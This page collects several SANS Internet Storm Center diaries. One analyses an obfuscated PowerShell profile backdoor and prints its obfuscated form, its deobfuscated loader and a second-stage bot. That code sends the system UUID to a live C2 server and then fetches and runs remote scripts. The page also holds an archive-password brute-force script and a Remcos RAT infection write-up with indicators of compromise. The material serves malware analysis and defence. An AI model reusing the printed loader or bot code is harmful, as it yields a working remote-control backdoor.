Category Archives: Security

Undetected PowerShell Backdoor Disguised as a Profile File, (Fri, Jun 9th)

This post was originally published on this site

PowerShell remains an excellent way to compromise computers. Many PowerShell scripts found in the wild are usually obfuscated. Most of the time, this helps to have the script detected by fewer antivirus vendors. Yesterday, I found a script that scored 0/59 on VT! Let’s have a look at it.

The file was found with the name « Microsoft.PowerShell_profile.ps1 ». The attacker nicely selected this name because this is a familiar name used by Microsoft to manage PowerShell profiles[1]. You may compare this to the « .bashrc » on Linux. It’s a way to customize your environment. Everything you launch a PowerShell, it will look for several locations, and if a file is found, it will execute it. Note that it’s also an excellent way to implement persistence because the malicious code will be re-executed every time a new PowerShell is launched. It’s listed as T1546.013[2] in the MITRE framework.

Let’s reverse the script (SHA256: a3d265a0ab00466aab978d0ccf94bb48808861b528603bddead6649eea7c0d16). When opened in a text editor, we can see that it is heavily obfuscated:

$mkey = "hxlksmxfcmspgnhf";
$srv = "AAwYG0lCV1daXV1BU0BbUUZKWF5JVUhWUw==";
$cmp = "CggGEgkeExAGCRwKCQ0aEQ==";

$bSDvRdgFlcnAwxj = @(24,'r','','IHwgb3V0LW51bGwKJHBzLkFkZEFyZ3V','',21,'d',([int](("94UmlEWn459UmlEWn686UmlEWn786UmlEWn10UmlEWn22UmlEWn633UmlEWn666UmlEWn701UmlEWn553" -split "UmlEWn")[5])),([int](("650Wmugo21Wmugo835Wmugo417Wmugo906Wmugo812Wmugo286Wmugo749Wmugo960Wmugo29" -split "Wmugo")[9])),([int](("419Gm370Gm388Gm238Gm2Gm902Gm197Gm582Gm305Gm133" -split "Gm")[4])),([string](("pTOikLyVWRMBZLkLyqgzIlWkLyLQOKkLyDjwiHkLyDQtofyikLyoKkLynbKDLukLyYBtQkLyTFkmtvQbI" -split "kLy")[6])),([string](("ulxwNSBGgYFDhZCbGgYFDhZLMQxkZGgYFDhZoafQGZyGgYFDhZwjysVfDOGgYFDhZcWPBAJfZRGgYFDhZHpzWCeiGgYFDhZSxpjbwIsGgYFDhZCFsGgYFDhZg" -split "GgYFDhZ")[([int](("9kdIhpwlnjWt689kdIhpwlnjWt878kdIhpwlnjWt775kdIhpwlnjWt965kdIhpwlnjWt828kdIhpwlnjWt529kdIhpwlnjWt957kdIhpwlnjWt917kdIhpwlnjWt224" -split "kdIhpwlnjWt")[0]))])),46,'tV','Ut',33,'VudFN0YXRlID0gIlNUQSIKJHJz',([int](("41rVCGBZ17rVCGBZ230rVCGBZ879rVCGBZ163rVCGBZ152rVCGBZ7rVCGBZ190rVCGBZ91rVCGBZ800" -split "rVCGBZ")[0])),27,([string](("vRUuwlkhDgkhjBTkhCYbTUGxkhskkhrefJkhmPESOhykhoWkhn.AmsikhmQkLRonvi" -split "kh")

Note the presence of the three variables at the top of the file.

The obfuscation technique is pretty good: Arrays of interesting strings are created but split using random strings. The last line of the script is very long passed to an Invoke-Expression. To speed up the analysis, you can replace the IEX with a simple echo to print the deobfuscated code:

[Scriptblock]$script = {
    param($mkey, $srv, $cmp)
    function ConvertFrom-JSON20([object] $item){
        ...
        return ,$ps_js.DeserializeObject($item);
    }

    function xor($data, $key){
        ...
        return $xordData
    }

    function Main{
        $enc = [System.Text.Encoding]::UTF8
        $srv = [System.Convert]::FromBase64String($srv)
        $srv = xor $srv $mkey
        $srv = $enc.getString($srv)
        $cmp = [System.Convert]::FromBase64String($cmp)
        $cmp = xor $cmp $mkey
        $cmp = $enc.getString($cmp)
        $enc = [System.Text.Encoding]::UTF8
        $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
        $xorkey = $enc.GetBytes($cmp)
        $data = xor $enc.GetBytes($UUID) $xorkey;
        $web = New-Object System.Net.WebClient;
        while($true){
            try{
                $res = $web.UploadData("$srv/$cmp", $data);break
            }catch{
                if($_.exception -match '(404)'){exit}
            }
            Start-Sleep -s 60;
        }
        $res = xor $res $cmp
        $res = $enc.GetString($res);
        $res = ConvertFrom-JSON20($res);
        $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script));
        $script = [Scriptblock]::Create($script);
        Invoke-Command -ScriptBlock $script -ArgumentList $res.args;
     }
     Main
}

$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = "STA"
$rs.ThreadOptions = "ReuseThread"          
$rs.Open()
$rs.SessionStateProxy.SetVariable("h",$host)
$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$ps.AddScript($script) | out-null
$ps.AddArgument($mkey) | out-null
$ps.AddArgument($srv) | out-null
$ps.AddArgument($cmp) | out-null
$res = $ps.BeginInvoke()

The script creates a script-block and executes a runspace[3]. The script will try to contact a C2 server and submit the system UUID, probably to create the "bot" on the C2 side. The C2 address is generated via the three passed parameters (on top of the script):

The C2 will return JSON data that will contain interesting data:

{
    "script": "...", 
    "args": [
        "http://190.14.37.245:8000", 
        "bpjyzskvedozncrw",
        "<RSAKeyValue>...</RSAKeyValue>",
        "<RSAKeyValue>...</RSAKeyValue>", 
        15
        ]
}

A second script is returned (Base64 encoded) with the same C2 address (I presume it could be another one and some encryption-related material. What's the purpose of "bpjyzskvedozncrw"? It's the campaign ID has it is described in the next-stage script:

param(
    [string]$server_url, 
    [string]$campaign_id, 
    [string]$RSAPanelPubKey, 
    [string]$RSABotPrivateKey, 
    [int]$polling_interval
)

function ConvertTo-JSON20 {
    ...
}

function ConvertFrom-JSON20([object] $item){
    ...
}

function Is-VM {
    ...
}

function Encrypt-Data{
    ...
}

function Decrypt-Data{
    ...
}

function Get-SystemInfo {
    ...
}

function Start-RunspaceDisposer($jobs){
    ...
}

function Add-Log{
    ...
}

function Run-Module{
    ...
}

function main{
    $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
    $mtx = New-Object System.Threading.Mutex($false, $uuid);
    $mtx.WaitOne()
    $jobs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList))
    Start-RunspaceDisposer $jobs
    $runningtasks = [hashtable]::Synchronized(@{})
    $logs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList))
    while($true){
        try{
            $web = New-Object Net.WebClient;
            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});
            $data = @{UUID = $UUID; campaign_id = $campaign_id};
            $data = $data | ConvertTo-JSON20;
            $data = Encrypt-Data -data $data;
            $res = $web.UploadData("$server_url/$random_path", $data);
            if(!$res){
                $systeminfo = Get-SystemInfo;
                $data = @{UUID = $UUID; systeminfo = $systeminfo; campaign_id = $campaign_id};
                $data = $data | ConvertTo-JSON20;
                $data = Encrypt-Data -data $data;
                $web.UploadData("$server_url/$random_path", $data);
                Start-Sleep -s 3;
                continue;
            }
            $res = Decrypt-Data -data $res;
            $res = [System.Text.Encoding]::UTF8.GetString($res).Trim([char]0);
            $res = ConvertFrom-JSON20($res);
            $url_id = $res.url_id;
            while($true){
                $url = "$server_url/$url_id";
                $task = $web.DownloadData($url);
                $task = Decrypt-Data -data $task;
                $task = [System.Text.Encoding]::UTF8.GetString($task).Trim([char]0);
                $task = ConvertFrom-JSON20($task);

                if($task.task_id -and $task.scriptname){
                    $task_id = $task.task_id
                    $scriptname = $task.scriptname
                    try{
                        if(!($task.scriptname -eq 'hbr' -and $task.type -eq 'run')){
                            $task_report = @{UUID = $UUID; task_id = $task_id; status = 'running'};
                            $task_report = $task_report | ConvertTo-JSON20;
                            $task_report = Encrypt-Data -data $task_report;
                            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});    
                            $web.UploadData("$server_url/$random_path", $task_report);
                        }
                    }catch{
                        #write-host $_.exception
                    }
                
                    if($task.type -eq 'run'){
                        $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.script));
                        $scriptblock = [Scriptblock]::Create($script);
                        if($task.background){
                            $runningtasks.$scriptname = @{'exit'=$false}
                            Run-Module $scriptblock $task.args $jobs $runningtasks $logs $task_id $scriptname
                        }

                        else{
                            Run-Module $scriptblock $task.args $jobs $null $logs $task_id $scriptname
                            if($scriptname -eq 'remove'){start-sleep -s 30; exit}
                        }
                    }
                    elseif($task.type -eq 'kill'){
                        if($runningtasks.ContainsKey($scriptname)){
                            $runningtasks.$scriptname.exit = $true
                            $runningtasks.remove($scriptname)    
                        }

                        try{
                            $task_report = @{UUID = $UUID; task_id = $task_id; status = 'completed'};
                            $task_report = $task_report | ConvertTo-JSON20;
                            $task_report = Encrypt-Data -data $task_report;
                            $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});    
                            $web.UploadData("$server_url/$random_path", $task_report);
                        }catch{
                            #write-host $_.exception
                        }
                    }
                }

                $logsToProcess = @()
                while($logs.count -gt 0){
                    $logsToProcess += $logs[0]
                    $logs.RemoveAt(0)
                }

                if($task.debug -and $logsToProcess.Count -gt 0){
                    try{
                        $data = @{'logs'=$logsToProcess; 'uuid'=$UUID}
                        $data = $data | ConvertTo-JSON20
                        $data = Encrypt-Data -data $data;
                        $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_});
                        $web.UploadData("$server_url/$random_path", $data) | Out-Null;
                    }catch{
                        #write-host $_.exception
                    }
                }

                $url_id = $task.url_id;
                
                [System.GC]::Collect();
                Start-Sleep -s $task.polling_interval;
            }
        }
        catch{
            [System.GC]::Collect();
            Start-Sleep -s $polling_interval;
        }
        
    }
    $mtx.ReleaseMutex();
    $mtx.Dispose();
}

main

The script uses the same technique and runs its code inside another runspace. It enters an infinite loop, waiting for some commands from the C2 server:

While writing this diary, the C2 server (%%ip:190.14.37.254%%) is still alive. I started a honeypot to capture all details from a potential attempt to use my system. I'm now waiting for some activity…

[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.3
[2] https://attack.mitre.org/techniques/T1546/013/
[3] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Brute Forcing Simple Archive Passwords, (Mon, Jun 5th)

This post was originally published on this site

[Guest dairy submitted by Gebhard]

Occasionally, malicious files are distributed by email in a password-protected attachment to restrain email security gateways from analyzing the included files. The password can normally be found in the email itself and is pretty simple: it should only hinder analysis and not the lazy (but curious) user from opening the attachment.

But what if the email containing the password is lost? For example, the encrypted file attachment could have been saved some time ago to disk (not detected as being malicious at that time) but be detected afterward, e.g., by a full scan or IoCs. So now you have an encrypted archive file, and you're pretty damn sure it's malicious (e.g., VT tells you so – but doesn't provide any details).

Because the bad guys don't want to overburden the user, the password is short (3-4 characters) and only contains characters and numbers. So this is a rare case where it can make sense to just brute-force the password of the archive in a reasonable time. 

I've looked around but haven't found any tool which can be used out of the box. So I used some ideas ([1], [2]) and created a script that should run on Kali 2023 out of the box:

#!/bin/bash

VERSION="v0.2"

# based on: 

# - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/
# - https://gist.github.com/bcoles/421cc413d07cd9ba7855
# modified for bruteforcing 

# use for malicious file attachments with short passwords
# tested on kali 2023
# 2023-05-27 v0.1 gebhard
# 2023-05-28 v0.2 gebhard
# Todos:
# - make password method configurable
# - speed up / distribute brute forcing

LINE="#############################################################################"

echo "Archive Password Bruteforce Script ${VERSION}"
echo "---------------------------------------"

# check parameters
if [ $# -lt 1 ]; then
   echo "Usage $0 <archive-file> [<min-length:3> <max-length:6>]"
   exit 1
fi

ZIP=${1}

# crunch configuration
# default values for password length: min=3, max=6
MINLENGTH=${2-3}
MAXLENGTH=${3-6}
# crunch charset config
CHARFILE="/usr/share/crunch/charset.lst"
CHARSET="mixalpha-numeric"

if [ ! -r ${ZIP} ] ; then
   echo "Archive file "${ZIP}" not found."
   exit 2
fi
if [ ! -r ${CHARFILE} ] ; then
   echo "Charset file "${CHARFILE}" not found."
   exit 2
fi

echo "Parameters"
echo "----------"
echo "File      : ${ZIP}"
echo "Min-Length: ${MINLENGTH}"
echo "Max-Length: ${MAXLENGTH}"
echo "Charfile  : ${CHARFILE}"
echo "Charset   : ${CHARSET}"
echo ${LINE}

# counter for sign of life
COUNT=0
# every xxx guesses: display sign of life
SOL=1000
# counter for total guesses
GUESS=0

echo "Archive content"
echo "---------------"
7z l ${ZIP}

# check if 7z found the file to be OK
if [ ${?} -ne 0 ] ; then
   echo ${LINE}
   echo "7z reported an error. Archive file corrupt?"
   exit 3
fi

echo ${LINE}
echo "Continue: ENTER, Abort: <CTRL+C>"
read lala

echo ${LINE}

echo "Start: `date`"

# note: stdout of crunch is passed to a subshell, so passing variables back is not that easy
crunch ${MINLENGTH} ${MAXLENGTH} -f ${CHARFILE} ${CHARSET} |
   while IFS= read -r PASS
   do
      # count total guesses
      ((GUESS=GUESS+1))
      # every $SOL passwords: display a sign of life
      ((COUNT=COUNT+1))
      if [ ${COUNT} -eq ${SOL} -o ${COUNT} -eq 0 ] ; then
         COUNT=0
         echo -ne "rCurrent password (guess: ${GUESS}): "${PASS}" "
      fi
      # try to extract
      7z t -p${PASS} ${ZIP} >/dev/null 2>&1 

      # check exit code of 7z
      if [ ${?} -eq 0 ]; then
         # 7z returns 0, so password has been found 

         echo ""
         echo ${LINE}
         echo "Script finished (${GUESS} guesses)."
         echo "Archive password is: "${PASS}""
         echo "End: `date`"
         # return from subshell with exit status 99 so that main process knows pwd has been found
         exit 99
      fi
   done

# if exit code from subshell is not 99 then pwd has not been found
if [ ${?} -ne 99 ] ; then
   echo ""
   echo ${LINE}
   echo "Script finished. No password found."
   echo "End: `date`"
   exit -1
fi

exit 0

I used a slightly earlier version of the script, and it was able to get the password for this example
https://www.virustotal.com/gui/file/dc374b6eeae0a555796f2a6811997fda6e1a6b293a2c63e1c7254ac61c990c5b
in about 12 hours on a reasonably fast VM using 12,131,410 attempts. 

Here's the output:
???(kali?kali)-[~/analysis/]
??$ ./pw-brute.sh file.zip 

ZIP Password Bruteforce Script
------------------------------
Parameters
----------
File: file.zip
Min-Length: 3
Max-Length: 6
Charfile:   /usr/share/crunch/charset.lst
Charset:    mixalpha-numeric
#############################################################################
Archive content
---------------

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Xeon(R) E-2104G CPU @ 3.20GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 648326 bytes (634 KiB)

Listing archive: file.zip

--
Path = file.zip
Type = zip
Physical Size = 648326

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-10-10 08:27:19 ....A      1525760       648148  New_documents#3893.iso
------------------- ----- ------------ ------------  ------------------------
2022-10-10 08:27:19            1525760       648148  1 files
#############################################################################
Continue: ENTER, Abort: <CTRL+C>

#############################################################################
Start: Sat May 27 04:02:00 PM EDT 2023
Crunch will now generate the following amount of data: 403173281072 bytes
384496 MB
375 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 57731383080 

Current password (guess: 12131000): "X3Zr" 

##########################################################################
Script finished (12131410 guesses).
Archive password is: "X353"
End: Sun May 28 04:37:39 AM EDT 2023

The script is pretty basic:
– get the archive file name and, optionally the min and max password length from the user
– do a basic check on the archive (make sure 7z can access the content)
– use "crunch" to loop through a list of mix alpha-numeric passwords which fit between the length borders
– for every password: try to extract the archive (without actually writing the files to disk)
– if found: exit the loop

Handling the password-found vs. password-not-found case has to work despite the actual check running in a subshell. So we're using an exit code to signal the main process if the password was found (99) or not.

If this was helpful, feel free to issue a comment with details. 


This guest diary was submitted by Gebhard.


 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

After 28 years, SSLv2 is still not gone from the internet… but we're getting there, (Thu, Jun 1st)

This post was originally published on this site

Although the SSL/TLS suite of protocols has been instrumental in making secure communication over computer networks into the (relatively) straightforward affair it is today, the beginnings of these protocols were far from ideal.

The first publicly released version of Secure Sockets Layer protocol, the SSL version 2.0, was published all the way back in 1995 and was quickly discovered to contain a number of security flaws. This has led to the development of a more secure version of the protocol named SSLv3, which was officially published only a year later (and which, as it later turned out, had its own set of issues). It has also led to the official deprecation of SSLv2 in 2011[1].

Although due to its deprecated status, most web browsers out there have been unable to use SSLv2 for over a decade, the support for this protocol still lingers. Few years ago, one might still have found it supported even on web servers, which one would hope would be as secure as possible – for example, on servers providing access to internet banking services[2].

Nevertheless, while going over data about open ports and protocol support on the internet, which I have gathered over time from Shodan using my TriOp tool, I have recently noticed that although there is still a not insignificant number of web servers which support SSLv2, the overall trend seems to show that such systems are slowly “dying off”.

While according to Shodan, two years back, over 1.43% of all web servers supported SSLv2, currently, it is only about 0.35%.

This data seems to be supported by the latest statistics from Qualys SSL Labs[3], which show that the service has only detected SSLv2 being supported on 0.2% of all servers it scanned in the course of April 2023.

Since common web browsers can’t even use SSLv2 these days, its continued support may not be too problematic of an issue on its own. Nevertheless, the fact that a certain web server supports this anachronistic protocol provides an interesting indicator that other vulnerabilities and security issues may (and most likely will) be present on the same system.

So, although, just like in case of the Conficker worm[4], it is unlikely that we will ever get completely rid of SSLv2, it is good to see that the number and percentage of web servers which support it is decreasing at a fairly reasonable rate. Hopefully, it will continue to fall the same way in the future…

[1] https://en.wikipedia.org/wiki/Transport_Layer_Security#History_and_development
[2] https://isc.sans.edu/forums/diary/Internet+banking+sites+and+their+use+of+TLS+and+SSLv3+and+SSLv2/25606/
[3] https://www.ssllabs.com/ssl-pulse/
[4] https://ics-cert.kaspersky.com/publications/reports/2022/09/08/threat-landscape-for-industrial-automation-systems-statistics-for-h1-2022/

———–
Jan Kopriva
@jk0pr
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Your Business Data and Machine Learning at Risk: Attacks Against Apache NiFi, (Tue, May 30th)

This post was originally published on this site

Apache NiFi describes itself as “an easy-to-use, powerful, and reliable system to process and distribute data.” [1] In simple terms, NiFi implements a web-based interface to define how data is moved from a source to a destination. Users may define various “processors” to manipulate data along the way. This is often needed when processing business data or preparing data for machine learning. A dataset used for machine learning may arrive in one format (let's say JSON), but to conveniently use it for training, it must be converted to JSON or inserted into a database. The features are not just attractive to machine learning, but many business processes require similar functionality.

Malspam pushes ModiLoader (DBatLoader) infection for Remcos RAT, (Tue, May 30th)

This post was originally published on this site

Introduction

Also known as DBatLoader, ModiLoader is malware that retreives and runs payloads like Formbook, Warzone RAT, Remcos RAT, or other types of malware.  Today's diary reviews a ModiLoader infection for Remcos RAT on Monday 2023-05-29.


Shown above:  Flow chart for the ModiLoader Remcos RAT infection on Monday 2023-05-29.

Email

I caught the email in one of my honeypot accounts on Monday 2023-05-29 at 4:14 UTC.  These messages often spoof companies sending invoices or purchase orders.  This campaign didn't appear to be specifically targeted at my honeypot account.


Shown above:  Screenshot of the email distributing ModiLoader for Remcos RAT on Monday 2023-05-29.

The email contains an ISO image presented as a purchase order.  The ISO image contains a Windows executable (EXE) file for ModiLoader.  The EXE file icon impersonates an Excel spreadsheet.


Shown above:  The attached ISO image contains a malicious Windows EXE file for ModiLoader.

This ModiLoader EXE will infect a vulnerable Windows host with Remcos RAT.  Let's look at the infection traffic.

Infection Traffic

The ModiLoader EXE first generated a OneDrive URL using HTTP over TCP port 80. This redirected to an HTTPS version of the same URL over TCP port 443.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  Initial traffic generated by ModiLoader redirected to an HTTPS version of the same URL.

The OneDrive URL returned a base64 text file, approximately 4.3 MB in size.  I retrieved a copy of it by entering the URL in a web brower.


Shown above:  Using a web browser to retrieve base64 text file returned from OneDrive URL generated by the ModiLoader EXE.

Shortly after ModiLoader retrieved the base64 text file, my infected host started generating TLSv1.3 infection traffic to a server at 146.70.158[.]105 over TCP port 9138Online sandbox analysis indicates this is Remcos RAT traffic, so I'm calling 146.70.158[.]105 a Remcos RAT C2 server.


Shown above:  Wireshark showing TLSv1.3 traffic from the infected Windows host.

No domain is associated with this Remcos RAT C2 server.  Checking it in a web browser revealed the server used a self-signed certificate.  No identification fields were used for this self-signed certificate.


Shown above:  Info about self-signed certificate used for TLSv1.3 traffic to the Remcos RAT C2 server.

At least 49 MB of data was sent from the infected Windows host to the Remcos RAT C2 server, as shown below when viewing TCP conversation statistics of the traffic in Wireshark.


Shown above:  TCP conversation statistics in Wireshark reveal the infected host sent at least 49 MB of data to the Remcos RAT C2 server.

The infected Windows host also checked its location using geoplugin.net, which is a legitimate service.

Forensics on the Infected Windows Host

This infection was made persistent through the Windows registry key at HKCUsofwareMicrosoftWindowsCurrentVersionRun.  Persistent files were stored in the host's C:UsersPublicLibraries directory.


Shown above:  ModiLoader/Remcos RAT files persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Some headers from the email:

Return-Path: <william.cheng@foodicon[.]com[.]sg>
Received: from cp2-de1.host-global[.]net (cp2-de1.host-global[.]net [88.99.82[.]246])
    for <[recipient's email address]>; Mon, 29 May 2023 04:14:43 +0000 (UTC)
Received: from ec2-3-135-201-214.us-east-2.compute.amazonaws[.]com ([3.135.201[.]214]:55643)
    by cp2-de1.host-global[.]net with esmtpa (Exim 4.96)
    Mon, 29 May 2023 06:14:35 +0200
From: PT Sree International Indonesia <info@ptsreint[.]co[.]id>
Subject: New Inquiry/Purchase Order June 2023
Date: 29 May 2023 04:14:33 +0000
Message-ID: <20230529041433.6E03B75D7043B6B7@ptsreint[.]co[.]id>

Traffic from an infected Windows host:

  • hxxp://onedrive.live[.]com/download?cid=477DD5F55B8A76A6&resid=477DD5F55B8A76A6%21132&authkey=AHpfAKNpV3kAUSU
  • hxxps://onedrive.live[.]com/download?cid=477DD5F55B8A76A6&resid=477DD5F55B8A76A6%21132&authkey=AHpfAKNpV3kAUSU
  • hxxps://u7xd4q.bn.files.1drv[.]com/y4mnljoeykY0rqANGppY0yGovJuGPFqCUKN1PI2BK5j71L0nAtxaBfppI5gHLhyPiXM3swFe-quRw1e41cGALOL4QoSWpyud0yDeU-ImxNuXWR9bIksaWiXsgL2UyTD2D2DtHZaxPuuqz7hy09zjLvcrr_HTTMA8fF4iRUQ1H6Bjm6lTFEK9eLm6t5M9xXenlHLDiE4qye22jg5SWe5cmmDrA/177_Dmzsccoibbg?download&psid=1
  • 146.70.158[.]105 port 9138 – TLSv1.3 traffic for Remcos RAT
  • hxxp://geoplugin.net/json.jp  <– IP address/location check of the infected host

Malware from the infected Windows host:

SHA256 hash: f69e25c8c6d512b60024504124d46cfbf08741bc7f53104466d1483f034a73e4

  • File size: 1,638,400 bytes
  • File name: Urgent Inquiry_Purchase order June 2023_PDF.iso
  • File description: Email attachment, an ISO disk image containing DBatLoader/ModiLoader EXE

SHA256 hash: de33fd9d4c89f8d5ffad69cb7743922d8d22f54890f9ca69161edce001cba9ad

SHA256 hash: 1d863f9486cef770383b16ed95763abe222b702dafad4e529793288c83fff52f

  • File size: 4,289,728 bytes
  • File description: Base64 text file retrieved from OneDrive URL generated by ModiLoader malware
  • File location: hxxps://onedrive.live[.]com/download?cid=477DD5F55B8A76A6&resid=477DD5F55B8A76A6%21132&authkey=AHpfAKNpV3kAUSU

SHA256 hash: a2796cc5deaca203fd9c1ed203517c74b8fd516619cd0ded67551f727498dcb3

  • File size: 3,217,294 bytes
  • File location: C:UsersPublicLibrariesDmzsccoi
  • File description: Data binary decoded from above base64 text file

SHA256 hash: 13ad5aa8c9424fd866ea5b5ed6f603983c626f60cdb5b680c98cd046174b4667

  • File size: 100 bytes
  • File location: C:UsersPublicLibrariesioccszmD.url
  • File description: URL file persistent through Windows registry
  • URL file target: C:UsersPublicLibrariesDmzsccoi.exe

SHA256 hash: 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

  • File size: 68,096 bytes
  • File location: C:UsersPublicLibrariesioccszmD.pif
  • File description: Another Windows EXE used for this infection

Final Words

This example of ModiLoader/Remcos RAT was not targeted, nor was it particularly sophisticated.  Emails using ISO attachments to deliver malware are routinely submitted to VirusTotal.  I did a quick search for the last week of ISO attachments in VirusTotal, and I found 15 examples.


Shown above:  Results of a search for ISO attachments from emails submitted to VirusTotal from 2023-05-22 until the date of this diary.

A sanitized copy of the email, along with malware/artifacts from the infection, and a packet capture (pcap) of the infection traffic are available here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

We Can no Longer Ignore the Cost of Cybersecurity, (Sun, May 28th)

This post was originally published on this site

I read recently that disregarding cyber risks is a way of inviting trouble and unnecessary attention to any organization. Cyber threats is nothing new, everyone is a target taking many forms whether it is by some form of scanning or targeted phishing. For example, Sophos describes the naughty nine which are all some form of services that can be purchased for a price (i.e. access, malware, phishing, crypting, etc). "Just as information technology companies have shifted to “as-a-service” offerings, so has the cybercrime ecosystem." [1] This is no surprise that ransomware is still the one thing that affect the most organizations and, in the end, cost the most if you have no choices but to pay the ransom. In the case of the Hospital for Sick Children in Toronto, lockbit , "[…] issued a brief apology and offered SickKids a free decryptor to unlock its data." [2] but this is far from always being the case. In the end, they did not use the decryptor but that isn't always the case.